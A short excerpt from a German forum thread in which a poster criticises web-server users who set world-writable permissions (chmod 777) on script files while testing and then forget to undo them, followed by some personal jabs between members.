    Jetzt frage mich nicht wie das gehen soll, weil um die Frage zu beantworten lese Dir hier einfach mal ein paar Threads durch in denen es um Scripts im Webserver (php, perl, python, ... ) geht. Darin kann man leider oft lesen:
    "Ich habe ein chmod 777 /var/www/index.php zum testen gemacht, jetzt geht es."
    Die meisten ändern das nicht wieder und gucken gar nicht mehr nach was da klemmt und lassen es so. Es funktioniert ja jetzt und man will ja weiter machen, da man ja unbedingt fertig mit der Installation werden will. Kann man ja später noch und dann wird es vergessen.

    PS: "Große Klappe und nichts dahinter". Es gibt Leute die haben auch noch andere Sachen zutun und die dann auch noch genau lesen was jemand anderes schreibt. Ich habe keinen Lust Deinen Text zu überfliegen und dann pampig drauf antworten. Da bin ich lieber sachlicher und ausführlicher, als andere Personen an zu pampen.

  • Nennt er sich deswegen "horroreyes"?
    Ich durfte auch schon mit seinem Ego Bekanntschaft machen. Seit dem wird er ignoriert. ;)

Jetzt mitmachen!

Du hast noch kein Benutzerkonto auf unserer Seite? Registriere dich kostenlos und nimm an unserer Community teil!